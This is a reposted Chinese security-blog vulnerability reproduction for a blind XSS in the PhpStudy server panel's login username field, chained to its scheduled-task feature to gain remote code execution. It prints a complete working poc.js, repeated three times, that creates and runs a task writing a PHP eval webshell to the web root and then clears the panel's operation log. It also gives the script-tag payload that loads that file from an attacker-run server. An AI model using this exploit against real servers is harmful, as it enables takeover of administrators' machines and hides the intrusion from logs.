本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现 phpstudy面板XSS盲打_计划任务RCE漏洞
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
PhpStudy国内12年老牌公益软件,集安全、高效、功能与一体,已获得全球用户认可安装,运维也高效。支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。PhpStudy面板存在XSS盲打漏洞,攻击者可以JS调用面板中的计划任务执行系统命令。
![图片[1]-phpstudy面板XSS盲打_计划任务RCE漏洞-安全小天地](https://img.godyu.com/2023/12/20231226124950660.png?imageView2/0/format/webp/q/75)
0x03 漏洞复现
1.python开启一个8端口的web,放入poc.js,内容为使用小皮面板的计划任务写入网站根目录1.php(需根据实际路径写入webshell)
function poc(){$.get(\'/service/app/tasks.php?type=task_list\',{},function(data){var id=data.data[0].ID;$.post(\'/service/app/tasks.php?type=exec_task\',{tid:id},function(res2){$.post(\'/service/app/log.php?type=clearlog\',{},function(res3){},\"json\");},\"json\");},\"json\");}function save(){var data=new Object();data.task_id=\"\";data.title=\"w\";data.exec_cycle=\"1\";data.week=\"1\";data.day=\"3\";data.hour=\"14\";data.minute = \"20\";data.shell=\'echo \"<?php @eval($_POST[123]);?>\" > D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php\';$.post(\'/service/app/tasks.php?type=save_shell\',data,function(res){poc();},\'json\');}save();function poc(){ $.get(\'/service/app/tasks.php?type=task_list\',{},function(data){ var id=data.data[0].ID; $.post(\'/service/app/tasks.php?type=exec_task\',{ tid:id },function(res2){ $.post(\'/service/app/log.php?type=clearlog\',{ },function(res3){},\"json\"); },\"json\"); },\"json\"); } function save(){ var data=new Object(); data.task_id=\"\"; data.title=\"w\"; data.exec_cycle=\"1\"; data.week=\"1\"; data.day=\"3\"; data.hour=\"14\"; data.minute = \"20\"; data.shell=\'echo \"<?php @eval($_POST[123]);?>\" > D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php\'; $.post(\'/service/app/tasks.php?type=save_shell\',data,function(res){ poc(); },\'json\'); } save();function poc(){ $.get(\'/service/app/tasks.php?type=task_list\',{},function(data){ var id=data.data[0].ID; $.post(\'/service/app/tasks.php?type=exec_task\',{ tid:id },function(res2){ $.post(\'/service/app/log.php?type=clearlog\',{ },function(res3){},\"json\"); },\"json\"); },\"json\"); } function save(){ var data=new Object(); data.task_id=\"\"; data.title=\"w\"; data.exec_cycle=\"1\"; data.week=\"1\"; data.day=\"3\"; data.hour=\"14\"; data.minute = \"20\"; data.shell=\'echo \"<?php @eval($_POST[123]);?>\" > D:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php\'; $.post(\'/service/app/tasks.php?type=save_shell\',data,function(res){ poc(); },\'json\'); } save();
![图片[2]-phpstudy面板XSS盲打_计划任务RCE漏洞-安全小天地](https://img.godyu.com/2023/12/20231226204951161.png?imageView2/0/format/webp/q/75)
2.用户名输入如下payload,密码任意登录两次(登录一次面板有时候会不显示)
<script src=http://127.0.0.1:8/poc.js></script><script src=http://127.0.0.1:8/poc.js></script><script src=http://127.0.0.1:8/poc.js></script>
![图片[3]-phpstudy面板XSS盲打_计划任务RCE漏洞-安全小天地](https://img.godyu.com/2023/12/20231226204952205.png?imageView2/0/format/webp/q/75)
3.当管理员进入了首页或者操作日志,即可执行计划任务写入webshell(注:360会阻止写入.php的文件)
![图片[4]-phpstudy面板XSS盲打_计划任务RCE漏洞-安全小天地](https://img.godyu.com/2023/12/20231226204953845.png?imageView2/0/format/webp/q/75)
![图片[5]-phpstudy面板XSS盲打_计划任务RCE漏洞-安全小天地](https://img.godyu.com/2023/12/20231226204954898.png?imageView2/0/format/webp/q/75)
THE END
暂无评论内容